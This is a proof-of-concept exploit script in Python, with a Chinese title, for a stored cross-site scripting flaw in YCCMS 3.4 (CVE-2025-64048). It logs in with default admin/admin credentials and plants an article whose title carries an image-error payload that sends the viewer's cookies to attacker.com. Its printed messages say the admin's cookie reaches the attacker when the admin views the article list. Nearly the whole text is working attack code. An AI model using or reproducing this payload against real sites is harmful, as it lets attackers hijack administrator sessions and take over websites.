CVE-2025-64048 YCCMS 3.4 存储型XSS漏洞

import requests import sys # CVE-2025-64048 PoC - YCCMS 3.4 Stored XSS # Target: YCCMS 3.4 article management # Vulnerability: Stored XSS in article title field target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/yccms" # XSS payload - Cookie stealing example xss_payload = "<img src=x onerror=\"fetch('https://attacker.com/log?c='+document.cookie)\">" # Login first to get session login_url = f"{target_url}/?s=Login/check" login_data = { "username": "admin", "password": "admin" } session = requests.Session() login_resp = session.post(login_url, data=login_data) # Create malicious article with XSS in title article_url = f"{target_url}/?s=Article/add" article_data = { "title": xss_payload, "content": "Test article content", "category": "1" } article_resp = session.post(article_url, data=article_data) # Access the article to trigger XSS article_list_url = f"{target_url}/?s=Article/index" list_resp = session.get(article_list_url) print(f"[+] XSS payload sent: {xss_payload}") print(f"[+] Article created. Visit article page to trigger XSS.") print(f"[+] When admin views article list, cookie will be sent to attacker.")